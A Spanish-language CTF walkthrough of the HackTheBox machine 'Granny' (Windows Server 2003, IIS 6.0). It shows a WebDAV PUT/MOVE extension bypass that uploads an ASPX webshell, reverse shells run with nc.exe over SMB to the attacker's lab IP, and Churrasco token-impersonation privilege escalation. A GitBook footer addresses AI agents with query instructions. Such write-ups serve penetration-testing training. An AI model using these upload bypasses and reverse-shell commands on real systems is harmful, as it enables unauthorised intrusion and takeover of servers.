> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md).

# Guía de HackTheBox Granny

Guía de la máquina HackTheBox Granny Fácil Windows que cubre abuso de los métodos PUT y MOVE - carga de un webshell Aspx, Microsoft IIS 6.0 - desbordamiento remoto de búfer 'ScStoragePathFromUrl' de WebDAV (RCE), secuestro de token

{% embed url="<https://app.hackthebox.com/machines/14>" %}

{% hint style="warning" %}
**Habilidades:**

* Abuso de los métodos PUT y MOVE - Subida de un WebShell ASPX
* Microsoft IIS 6.0 - Desbordamiento remoto de búfer en WebDAV 'ScStoragePathFromUrl' (RCE)
* Secuestro de token - Churrasco (escalada de privilegios)
  {% endhint %}

## Reconocimiento

**Configuración del espacio de trabajo:**

Configura el espacio de trabajo creando tres carpetas para almacenar contenido importante, exploits y resultados de reconocimiento de Nmap.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ec6875c612095ce6ed9fd2f84c854b0165311b5a%2Fimage%20(872).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Comprobación de conectividad VPN**

Comprueba la conectividad VPN para garantizar una comunicación estable con la máquina objetivo.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fcdb5d3f8e9fe22b78c31ec623170af1b68f8ad0%2Fimage%20(873).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Descubrimiento de puertos abiertos con Nmap:**

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.10.15 -oG allPorts
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-061004807c4a6da8a12ae158e1aa88a20edae329%2Fimage%20(874).png?alt=media" alt=""><figcaption></figcaption></figure>

**Escaneo de versión de puertos con Nmap:**

Usa Nmap para escanear las versiones de los servicios y guarda la salida en el archivo "targeted":

```bash
nmap -sCV -p80 10.10.10.15 -oN targeted
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-098cd690fc77a873438394d4ba2337d1dd98de7b%2Fimage%20(875).png?alt=media" alt=""><figcaption></figcaption></figure>

### Puerto 80 - HTTP

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-faf516ba324147ff33fe7d4aceabb4a0cfd803bb%2Fimage%20(876).png?alt=media" alt=""><figcaption></figcaption></figure>

## Vulnerabilidad de WebDAV

El puerto 80 está abierto y el servidor es compatible con WebDAV. Esto potencialmente nos permite subir archivos mediante el método PUT y renombrarlos con MOVE.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-063bf5b16aa08a0c937fa828f58c6a11856fb5ba%2Fimage%20(877).png?alt=media" alt=""><figcaption></figcaption></figure>

Crear un archivo de prueba:

```bash
echo "this is a test" > test.txt
```

Conéctate al servidor con la **cadaver** herramienta:

```bash
cadaver 10.10.10.15
```

Intenta subir el archivo con el comando PUT:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e56f1e6d759304a190160d5866b126a62746d577%2Fimage%20(879).png?alt=media" alt=""><figcaption></figcaption></figure>

* Resultado: Éxito.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-124a9083f39a3e7e53930307aecb5b701e00a516%2Fimage%20(878).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

### **Subida de WebShell**

Copia un WebShell ASPX preexistente:

```bash
cp /usr/share/davtest/backdoors/aspx_cmd.aspx .
```

Intenta subirlo directamente:

```powershell
put aspx_cmd.aspx
```

Resultado: Fallo (el servidor bloquea archivos con la extensión .aspx).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4e9c62765e574591042e7651de6d1a1c40775bd9%2Fimage%20(880).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

Cambia la extensión a **.txt**:

```bash
mv aspx_cmd.aspx cmd.txt
```

Intenta la subida de nuevo:

```powershell
PUT cmd.txt
```

* Resultado: Éxito.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-a54a685c7956c31ea6d21afd19a35fd2f0cc867b%2Fimage%20(882).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Renombra el archivo con MOVE para restaurar la extensión:

```powershell
move cmd.txt cmd.aspx
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-748149579877b5e4af9d895f7e6acf1c6aa3ff6a%2Fimage%20(883).png?alt=media" alt=""><figcaption></figcaption></figure>

Accede al WebShell mediante el navegador:

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d5ed66749ef5e64c75ce0c6a3bfc1406d324e4ad%2Fimage%20(884).png?alt=media" alt=""><figcaption></figcaption></figure>

### **Shell inversa a través del WebShell:**

Coloca un ejecutable de Netcat en el directorio actual:

```bash
cp /usr/share/SecLists/Web-Shells/FuzzDB/nc.exe .
```

Ejecuta un servidor SMB para compartir el archivo:

```bash
smbserver.py smbFolder $(pwd) -smb2support
```

Escucha en tu máquina en el puerto 443:

```bash
sudo rlwrap nc -nvlp 443
```

Ejecuta el comando de shell inversa desde el WebShell:

```bash
//10.10.14.30/smbFolder/nc.exe -e cmd 10.10.14.30 443
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-9d2b5943177ce0de6355993c9327a9f6eb603835%2Fimage%20(885).png?alt=media" alt=""><figcaption></figcaption></figure>

## **Escalada de privilegios:**

### Explotación del kernel - Windows Server 2003

Usando las `systeminfo` comando, descubrimos que el equipo es muy antiguo (Windows Server 2003):

```bash
systeminfo
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-3480c7c9748f9c9b8bd5f29ac222ef494cb7bca2%2Fimage%20(2658).png?alt=media" alt=""><figcaption></figcaption></figure>

También tenemos el `SeImpersonatePrivilege` privilegio, que nos permite intentar escalar privilegios.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-134a6abd9f21422d639ab16e4af960e8995c0acc%2Fimage%20(2662).png?alt=media" alt=""><figcaption></figcaption></figure>

Para sortear esta limitación, usaremos la **churrasco.exe** herramienta.

{% embed url="<https://github.com/Re4son/Churrasco/raw/master/churrasco.exe>" %}

/*/* Transferencia de archivos en Windows (SMB)/*/*

> Usamos **smbserver.py** para compartir un directorio que contiene el archivo exploit 40627.exe. Luego este archivo se copia a la máquina objetivo.

```bash
smbserver.py share $(pwd) -smb2support
```

Desde la máquina objetivo, copiamos el archivo malicioso usando el comando SMB:

```bash
copy //10.10.14.30/share/churrasco.exe churrasco.exe
```

Luego podemos ejecutar cualquier comando con este binario, por ejemplo:

```powershell
./churrasco.exe "whoami"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-72c9b85d21b3083ff772843ef8696245beb215dd%2Fimage%20(2663).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

**Establecer una shell inversa**

Para establecer una shell inversa, escuchamos en el puerto 443:

```bash
sudo rlwrap nc -nvlp 443
```

Volvemos a crear un servidor SMB con **nc.exe**:

```bash
smbserver.py share $(pwd) -smb2support
```

Finalmente, ejecutamos la shell inversa con el siguiente comando:

```bash
./churrasco.exe "//10.10.14.30/share/nc.exe -e cmd 10.10.14.30 443"
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-88b68e3706e7ad0eaa692f7ad6170adb0e8ca226%2Fimage%20(2664).png?alt=media" alt=""><figcaption></figcaption></figure>

### Bandera root.txt :)

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5a61e1621ed7a529aa55f423373b4ba478a591a7%2Fimage%20(2665).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-6bd815001e2de0ae2c70f08799052f5253a1bc91%2Fimage%20(2666).png?alt=media" alt="" width="521"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/granny-hackthebox-writeup.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
